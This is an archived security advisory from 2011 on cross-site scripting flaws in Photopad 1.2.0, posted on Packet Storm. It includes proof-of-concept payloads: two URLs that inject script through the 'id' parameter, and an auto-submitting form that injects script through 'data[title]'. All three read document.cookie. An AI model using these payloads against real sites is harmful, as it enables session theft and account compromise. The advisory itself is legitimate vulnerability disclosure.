what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Photopad 1.2.0 Cross Site Scripting

Photopad 1.2.0 Cross Site Scripting
Posted Feb 15, 2011
Authored by High-Tech Bridge SA | Site htbridge.com

Photopad version 1.2.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | a488c268f86be03cbb8257537eadcf26c4143a9e808a7a5e9aab3ebe260b7f2b

Photopad 1.2.0 Cross Site Scripting

Change Mirror Download
Vulnerability ID: HTB22828
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_photopad.html
Product: Photopad
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )
Vulnerable Version: 1.2.0
Vendor Notification: 01 February 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "files.php" and "gallery.php" scripts to properly sanitize user-supplied input in "id", "data[title]" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerabilities. The following PoC is available:
1.
http://host/files.php?action=edit&id=999"><script>alert(document.cookie)</script>
2.
http://host/gallery.php?action=view&id=999"><script>alert(document.cookie)</script>
3.

<form action="http://host/files.php?action=edit&id=2" method="post" name="main">
<input type="hidden" name="data[title]" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[tags]" value='tag'>
</form>
<script>
document.main.submit();
</script>



Login or Register to add favorites

File Archive:

October 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    0 Files
  • 2
    Oct 2nd
    22 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close